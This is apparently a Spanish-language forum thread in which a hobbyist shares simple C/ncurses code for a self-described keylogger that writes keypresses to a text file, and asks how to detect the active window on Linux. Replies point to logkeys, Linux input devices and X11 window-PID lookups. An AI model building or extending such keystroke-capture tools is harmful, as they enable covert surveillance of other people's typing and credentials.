Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux?
Dejo lo que llevo por si a alguien le interesa:
#include <stdio.h>
#include <ncurses.h>
FILE* fichero;
int kbhit(void)
{
int ch = getch();
if (ch != ERR) {
ungetch(ch);
return 1;
} else {
return 0;
}
}
int main() {
initscr();
noecho();
nodelay(stdscr, true);
fichero = fopen("string.txt","a");
while (1){
if (kbhit()){fputc(getch(),fichero); fflush(fichero); }
refresh();
}
return 0; }
Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg -lncurses
Saludos y gracias de antemano ;D
¿Y si mirás el código de logkeys? http://code.google.com/p/logkeys/
El input lo tenés en un dispositivo aparte y podés usar la API de Linux para eso.
Saludos.
P.S → Como nota aparte, obtener un handle del ID de ventana que está bajo el mouse podés hacerlo con la API de X.org ... pero no hay pasar por la API de Xorg !! :D el código de xwininfo es chiquitito y simple, ahí tenés un ejemplo por si te dá curiosidad
Gracias por la info, me mirare el codigo.
Saludos ;D
EDITO: He leido el codigo y he encontrado una funcion que creo que me puede ayudar, getpid(), incluida en unistd.h, y he leido que retorna el PID del proceso actual pero no se si es del mismo proceso que la llama o de la ventana activa.
Sobre getpid() → http://pubs.opengroup.org/onlinepubs/009695399/functions/getpid.html
Sobre obtener el PID desde un ID de X, es un temita por que el proceso puede correr de forma remota, incluso en una implementación que no tenga nociones de PID, pero podés probar suerte con XGetWindowProperty() (http://tronche.com/gui/x/xlib/window-information/XGetWindowProperty.html) y la propiedad NET_WM_PID
Saludos.
Gracias, lo mirare.
XGetSelectionOwner()? Estoy buscando informacion, pero esta todo en ingles y no llego a entender los pormenores(aunque en este caso son las cosas que vienen a ser importantes), de las funciones, ni de lo que es la "selection" aunque creo que es una propiedad que tiene la ventana activa.
Y seguís pensando que como se hacen las cosas en Windows, es como se hacen en *nix ...
Es que esta muy mal la cosa, no hay manera de encontrar un keylogger basico que sirva de orientacion para *nix, y ademas era por hacer una pregunta mas concreta.